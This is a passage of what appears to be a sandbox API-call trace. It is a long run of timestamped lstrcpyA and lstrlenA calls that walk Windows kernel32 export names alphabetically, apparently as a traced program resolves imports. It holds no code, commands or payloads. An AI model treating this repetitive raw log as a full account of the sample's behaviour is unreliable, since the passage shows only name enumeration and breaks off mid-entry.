returned="BaseInitAppcompatCacheSupportWorker" [0101.463] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0101.463] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0101.463] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0101.463] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0101.463] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0101.463] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0101.463] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0101.464] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0101.464] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0101.464] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0101.464] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0101.464] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0101.464] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0101.464] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0101.464] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0101.464] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0101.464] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0101.464] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0101.464] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0101.464] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0101.464] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0101.464] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0101.464] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0101.464] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0101.464] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0101.464] lstrcpyA (in: lpString1=0x2e7f188, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0101.465] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0101.465] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0101.465] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0101.465] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0101.465] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0101.465] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0101.465] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0101.465] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0101.465] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0101.465] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0101.465] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0101.465] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0101.465] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0101.465] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0101.465] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0101.465] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0101.465] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0101.465] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0101.465] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0101.466] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0101.466] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0101.466] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0101.466] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0101.466] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0101.466] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0101.466] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0101.466] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0101.466] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0101.466] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0101.466] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0101.466] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0101.466] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0101.466] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0101.466] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0101.466] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0101.466] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0101.466] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0101.466] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0101.467] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0101.467] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0101.467] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0101.467] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0101.467] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0101.467] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0101.467] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0101.467] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0101.467] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0101.467] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0101.467] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0101.467] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0101.467] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0101.467] lstrcpyA (in: lpString1=0x2e7f188, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0101.467] lstrlenA (lpString="BEEP") returned 4 [0101.467] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0101.467] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0101.467] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0101.467] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0101.468] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0101.468] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0101.468] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0101.468] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0101.468] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0101.468] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0101.468] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0101.468] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0101.468] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0101.468] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0101.468] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0101.468] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0101.468] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0101.468] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0101.468] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0101.468] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0101.468] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0101.468] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0101.468] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0101.469] lstrlenA (lpString="CANCELIO") returned 8 [0101.469] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0101.469] lstrlenA (lpString="CANCELIOEX") returned 10 [0101.469] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0101.469] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0101.469] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0101.469] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0101.469] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0101.469] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0101.469] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0101.469] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0101.469] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0101.469] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0101.469] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0101.469] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0101.469] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0101.469] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0101.469] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0101.469] lstrlenA (lpString="CHECKELEVATION") returned 14 [0101.470] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0101.470] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0101.470] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0101.470] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0101.470] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0101.470] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0101.470] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0101.470] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0101.470] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0101.470] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0101.470] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0101.470] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0101.470] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0101.470] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0101.470] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0101.470] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0101.470] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0101.470] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0101.471] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0101.471] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0101.471] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0101.471] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0101.471] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0101.471] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0101.471] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0101.471] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0101.471] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0101.471] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0101.471] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0101.471] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0101.471] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0101.471] lstrlenA (lpString="CLOSESTATE") returned 10 [0101.471] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0101.471] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0101.471] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0101.471] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0101.471] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0101.472] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0101.472] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0101.472] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0101.472] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0101.472] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0101.472] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0101.472] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0101.472] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0101.472] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0101.472] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0101.472] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0101.472] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0101.472] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0101.472] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0101.472] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0101.472] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0101.472] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0101.472] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0101.472] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0101.473] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0101.473] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0101.473] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0101.473] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0101.473] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0101.475] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0101.475] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0101.475] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0101.475] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0101.475] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0101.475] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0101.475] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0101.475] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0101.475] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0101.475] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0101.475] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0101.475] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0101.475] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0101.475] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0101.475] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0101.475] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0101.475] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0101.475] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0101.475] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0101.475] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0101.475] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0101.476] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0101.476] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0101.476] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0101.476] lstrlenA (lpString="COPYCONTEXT") returned 11 [0101.476] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0101.476] lstrlenA (lpString="COPYFILE2") returned 9 [0101.476] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0101.476] lstrlenA (lpString="COPYFILEA") returned 9 [0101.476] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0101.476] lstrlenA (lpString="COPYFILEEXA") returned 11 [0101.476] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0101.476] lstrlenA (lpString="COPYFILEEXW") returned 11 [0101.476] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0101.476] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0101.476] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0101.476] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0101.476] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0101.476] lstrlenA (lpString="COPYFILEW") returned 9 [0101.476] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0101.476] lstrlenA (lpString="COPYLZFILE") returned 10 [0101.476] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0101.476] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0101.476] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0101.476] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0101.476] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0101.476] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0101.476] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0101.476] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0101.476] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0101.476] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0101.476] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0101.476] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0101.476] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0101.476] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0101.476] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0101.476] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0101.477] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0101.477] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0101.477] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0101.477] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0101.477] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateDirectoryTransactedW" | 